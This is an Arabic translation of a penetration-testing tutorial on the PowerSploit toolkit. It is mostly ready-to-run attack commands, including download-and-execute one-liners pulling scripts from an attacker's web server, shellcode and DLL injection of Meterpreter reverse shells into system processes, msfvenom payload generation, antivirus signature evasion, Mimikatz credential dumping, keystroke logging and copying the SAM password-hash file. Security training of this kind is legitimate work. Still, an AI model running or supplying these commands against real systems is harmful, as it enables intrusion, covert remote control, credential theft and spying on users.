PowerSploit  عبارة عن مجموعة من السكريبتات (PowerShell scripts) التي يمكن استخدامها في مرحلة الاستغلال exploitation و مرحلة ما بعد الاستغلال post exploitation في عمليات اختبار الاختراق.

يمكنك الحصول على أحدث نسخة من PowerSploit من هنا.

كما يمكنك استخدام التعليمة التالية لتحميل PwoerSpolit بشكل مباشر من github باستخدام الأمر التالي :

git clone https://github.com/mattifestation/PowerSploit.git

powershell

من أجل تشغيل هذه السكريبتات يجب أن يكون الجهاز الهدف يحوي على Microsoft PowerShell وهو موجود ومنصب بشكل تلقائي في نظام التشغيل Windows 7 والأنظمة ذات الإصدارات الأحدث.

في السيناريو التالي نفترض أن لدينا اتصال remote desktop connection مع الجهاز الهدف الذي يعمل بنظام التشغيل Windows 7 Ultimate 64-bit ويحوي بشكل تلقائي على PowerShell منصب بشكل مسبق. من أجل تسهيل عملية الوصول وتشغيل سكريبتات PowerSploit في جهاز الهدف سوف نقوم بتشغيل سيرفر ويب باستخدام البايثون وذلك باستخدام التعليمة التالية ضمن المسار الخاص بمجلد  powersploit لتسهيل عملية جلب الملفات من جهازنا الى الجهاز المراد تنفيذ السكربتات فيه .

python –m SimpleHTTPServer

python webserver

الان يمكننا الوصول لكل الملفات الموجودة في المجلد PowerSploit من خلال المتصفح عبر الرابط التالي:

 

http://<ip_address>:8000/

3

السكريبتات الموجودة في PowerSploit موزعة ضمن التصنيفات التالية:

التصنيف

الوصف

Antivirus Bypass إيجاد البايتات bytes المطابقة للبصمة أو التوقيع signature المكتشف من قبل مضاد الفيروسات.
Code Execution تنفيذ الكود في الجهاز الهدف.
Exfiltration جمع البيانات والمعلومات من الجهاز الهدف.
Persistence المحافظة على التحكم بالجهاز الهدف من خلال إضافة سكريبت يضمن عملية المحافظة على الوصول persistence script
PE Tools مفيدة في عملية Enumeration في الجهاز الهدف.
Recon تنفيذ عمليات الاستطلاع في الجهاز الهدف.
Revers Engineering تساعد في عمليات الهندسة العكسية وتحليل البرمجيات الخبيثة.
Script Modification انشاء وتعديل السكريبتات في الجهاز الهدف.

في هذا المقال سوف نشرح أكبر قدر ممكن من سكريبتات PowerSploit , بعض السكريبتات التي لن نشرحها تحتاج لمتطلبات محددة في البيئة الهدف (مثل وجود Active Directory) مثل بعض السكريبتات ضمن التصنيف Exfiltration.

من أجل تنصيب وتشغيل script PowerShell نستخدم التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://<ip_address>/full_path/script_name.ps1”)

Invoke-Shellcode:


تستخدم من أجل حقن وتنفيذ shellcode معين أو Metasploit payload في عملية موجودة أو في عملية جديدة. الميزة من استخدام هذه التعليمة أنها غير مكتشفة من قبل مضادات الفيروسات وتعمل بدون أن تقوم بالكتابة على القرص الصلب.

يمكننا تنصيب “Code Execution  PowerShell script “invoke-ShellCode باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/CodeExecution/Invoke-Shellcode.ps1”)

4

للحصول على بعض المعلومات الأساسية يمكننا استخدام التعليمة التالية:

Get-Help Invoke-Shellcode

5

يمكننا حقن payload في العملية الحالية الخاصة ب PowerShell للحصول على جلسة اتصال عكسي meterpreter reverse HTTPS باستخدام التعليمة التالية:

Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 10.0.0.14 -Lport 4444 –Force

6

يجب أن نقوم بإعداد Handler في الميتاسبلويت قبل القيام بعملية الحقن من أجل استقبال الاتصال العكسي وتتم هذه العملية من خلال فتح الميتاسبلويت وكتابة التعليمات التالية:

use exploit/multi/handler

set payload windows/meterpreter.reverse_https

set LHOST 10.0.0.14

set LPORT 4444

exploit

7

حاليا, يوجد فقط 2 Metasploit payload مدعومة وهي:

Windows/meterpreter/revers_http

Windows/meterpreter/reverse_https

إذا كنا نريد حقن payload في عملية أخرى، يمكن أن نقوم بأنشاء عملية جديدة ومن ثم نحق بها أو أن نقوم بعملية الحقن في عملية أخرى موجودة مسبقاً.

الحقن في عملية موجودة مسبقاً:


يجب أن نعرف رقم العملية PID – Process ID ويتم ذلك باستخدام التعليمة :

Get-Process

8

في هذا المثال سنقوم بحقن Metasploit payload في العملية “svchost” ذات الرقم PID: 1228

Invoke-Shellcode –Processid 1228 –Payload windows/meterpreter/reverse_https _Lhost 10.0.0.14 –Lport 4444

9

يجب أن نقوم بإعداد handler في الميتاسبلويت ليقوم باستقبال الاتصال العكسي وعند القيام بعملية الحقن السابقة سوف نحصل على جلسة meterpreter مع الجهاز الهدف

10

الحقن في عملية جديدة:


يجب أن نقوم أولاً بانشاء عملية مخفية باستخدام التعليمة التالية:

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

ومن ثم القيام بعملية الحقن باستخدام التعليمة التالية:

Invoke-Shellcode –Processid 1476 –Payload windows/meterpreter/reverse_https _Lhost 10.0.0.14 –Lport 4444

11
يجب أن نقوم بإعداد handler في الميتاسبلويت قبل القيام بعملية الحقن وسوف نحصل على جلسة meterpreter مع الجهاز الهدف

10

Invoke-DllInjection:


هذه التعليمة تستخدم لحقن ملف DDL في عملية موجودة من خلال استخدام رقم العملية PID – Process ID .  إحدى نقاط ضعف هذه التعليمة أنها تتطلب كتابة DDL على القرض الصلب.

يمكننا تنصيب PowerShell script “invoke-Dllinjection” على الجهاز الهدف باستخدام التعلية التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/CodeExecution/Invoke-DllInjection.ps1”)

13

يمكننا توليد Metasploit meterpreter DLL باستخدام Msfvenom باستخدام التعليمة التالية في نظام الكالي:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.14 LPORT=4444 -f dll > msf.dll

ومن ثم نقل هذا الملف إلى الجهاز الهدف من خلال تحميله بواسطة HTTP download أو بأي طريقة أخرى ثم انشاء عملية مخفية باستخدام التعليمة:

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

ومن ثم حقن DLL في هذه العملية

Invoke-DllInjetion -ProcessID 2240 -Dll c:\users\master\Desktop\msf.dll

14

وسوف نحصل على جلسة meterpreter مع الجهاز الهدف

15

Find-AVSignature:


تستخدم من أجل تقسيم الملف إلى عدد من الأجزاء بحجم محدد وحفظ هذه الأجزاء في ملفات منفصلة لنتمكن من تحديد أي الأجزاء التي سيتم اكتشافها وعزلها أو حذفها من قبل مضاد الفيروسات الموجود في الجهاز الهدف وبهذه الطريقة نستطيع تحديد الأجزاء التي تحوي على التوقيع أو البصمة signature المكتشفة من قبل مضاد الفيروسات.

يمكننا تنصيب “PwerShell script “Find-AVSignature في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/AntivirusBypass/Find-AVSignature.ps1”)

16

ومن ثم نقوم بالبحث عن الجزء الذي يحوي على البصمة أو التوقيع المكتشف من قبل مضاد الفيروسات باستخدام التعليمة التالية:

Find-AVSignature -StartByte 0 -EndByte 6144 -Interval 50 -Path C:\test\exempt\nc.exe -OutPath c:\users\master\Desktop\msf.exe -OutPath c:\users\master\Desktop\run1 –Verbose

17

مضاد الفيروسات الموجود في الجهاز الهدف سيقوم بكشف أجزاء الملف الخبيثة والتي تحوي على البصمة أو التوقيع signature

18

الآن يمكننا رؤية bytes of “msf.exe” التي تحوي على البصمة أو التوقيع المكتشف من قبل مضاد الفيروسات.

Get-DllLoadPath:


تستخدم من أجل إيجاد المسار الذي يقوم الملف التنفيذي بالبحث عنه من أجل تحميل ملف DLL , مثلاً لتحديد المكان الذي يقوم برنامج “cmd.exe.” بالبحث عنه من أجل تحميل “shell32dll” DLL file

باستخدام هذه المعلومات يمكننا تبديل ملف DLL الأصلي بملف DLL خبيث لنحصل على جلسة عكسية أو تنفيذ مهمة أخرى بعد تشغيل هذا البرنامج، وهذه العملية مفيدة جداً في تجاوز الصلاحيات privilege escalation.

يمكننا تنصيب PowerShell script “Find-DllLoadPath” في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/PETools/Get-DllLoadPath.ps1”)

19

لمعرفة من أي موقع يقوم البرنامج “Acroat.exe” بتحميل ملف “shell32dll” DLL نستخدم التعليمة التالية:

Get-DllInjection –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.d

20

Invoke-Portscan:


تستخدم من أجل القيام بفحص المنافذ port scan لمعرفة المنافذ المفتوحة بشكل مشابه لأداة nmap

يمكننا تنصيب PowerShell script “Invoke-Portscan” في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Recon/Invoke-Portscan.ps1”)

21

ومن ثم البدء بعملية فحص لعدد من المنافذ والأجهزة باستخدام التعليمة التالية:

Invoke-Portscan -Hosts 10.0.0.1,10.0.0.2,10.0.0.7,10.0.0.14 -Ports “23,22,21,8080,8000,3389”

22

لمعرفة كل الخيارات المستخدمة يمكننا استخدام التعليمة التالية:

Get-Help Invoke-PortScan –full

كما يمكن حفظ النتيجة في ملف خارجي باستخدام إحدى الخيارات التالية: oG, -oX and –oA-

Invoke-ReverseDnsLookup:


تستخدم من أجل إيجاد سجلات DNS PTR للحصول على عنوان IP المقابل لعنوان DNS.

يمكننا تنصيب Recon PowerShell script “Invoke-ReverseDnsLookup” في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Recon/Invoke-ReverseDnsLookup.ps1”)

23

ومن ثم استخدام التعليمة التالية:

Invoke-ReverseDnsLookup -IpRange <IP_Address/Range>

24

Get-HttpStatus:


تستخدم من أجل البحث في سيرفر الويب عن أكود الحالة الخاصة بطلبات HTTP وتقبل ملف نصي يحوي على مسار البحث في سيرفر الويب.

يمكننا تنصيب Recon PowerShell script “Get-HttpStatus” في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Recon/Get-HttpStatus.ps1”)

25

ومن ثم استخدام التعليمة التالية:

Get-HttpStatus -Target 10.0.0.7 -Path c:\users\master\Desktop\directory-list-2.3-small.txt

26

إذا كان السيرفر يستخدم SSL يمكننا اضافة “-UseSSl” لإرسال طلبات HTTPS

Get-HttpStatus -Target 10.0.0.7 -Path c:\users\master\Desktop\directory-list-2.3-small.txt –UseSSL

27

وإذا كانت الخدمة تعمل على منفذ مختلف مثل 8080 او 8000 يمكننا اضافة “-Port” لتحديد المنفذ المستخدم

Get-HttpStatus -Target 10.0.0.7 -Path c:\users\master\Desktop\directory-list.txt -Port 8080

28

Get-Strings:


تستخدم لإيجاد محارف Unicode or ASCII في ملف معين.

يمكننا تنصيب Reverse Engineering PowerShell script “Get-Strings” في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/ReverseEngineering/Get-Strings.ps1”)

29

ومن ثم يمكننا استخدام التعليمة التالية:

Get-Strings -Path <file_name_with_path>

30

سكريبتات الهندسة العكسية تم نقلها من PowerSploit إلى PowerToolArsenal  يمكن زيارة الرابط هنا

Invoke-Mimikatz:


عبارة عن تطبيق لمشروع Mimkatz خاص ب PowerShell والتي يمكن أن تستخدم من أجل الحصول على كلمات السر الخاصة بالجهاز الهدف وهي من أكثر الأدوات المفيدة في عملية اختبار الاختراق.

يمكننا تنصيب Exfiltration PowerShell script “Invoke-Mimikatz” في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Exfiltration/Invoke-Mimikatz.ps1”)

 

31

ومن ثم يمكننا استخدام التعليمة التالية:

Invoke-Mimikatz –DumpCreds

32

Get-Keystrokes:


تستخدم من أجل تسجيل كل حرف يتم كتابته باستخدام لوحة المفاتيح في الجهاز الهدف ويتم حفظ السجل في نفس الجهاز ضمن المجلد temp

يمكننا تنصيب  Exfiltration PowerShell script “Get-Keystrokes”  في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Exfiltration/Get-Keystrokes.ps1”)

33

ومن ثم يمكننا استخدام التعليمة التالية:

Get-Keystrokes -LogPath c:\users\master\desktop\keylogger.txt

السجل يتم حفظه في المسار التالي:

c:\users\master\desktop\keylogger.txt

34

Invoke-NinjaCopy:


تستخدم من أجل نسخ الملفات المحمية ضد النسخ أثناء فترة عمل النظام.

يمكننا تنصيب Exfiltration PowerShell script “Invoke-NinjaCopy”  في الجهاز الهدف باستخدام التعليمة التالية:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Exfiltration/Invoke-NinjaCopy.ps1”)

35
ومن ثم استخدام التعليمة التالية من أجل نسخ محتوى الملف SAM الذي يحوي على الهاشات الخاصة بكلمات السر

Invoke-NinjaCopy -Path “C:\Windows\System32\config\SAM” -LocalDestination “C:\Users\master\Desktop\SAM”

36

إذا حاولنا القيام بهذه العملية باستخدام تعليمة copy فلن تنجح هذه العملية وسوف نحصل على رسالة خطأ

37

 

ترجمة لمقال  : PowerShell Toolkit: PowerSploit لصاحبها Interference Security .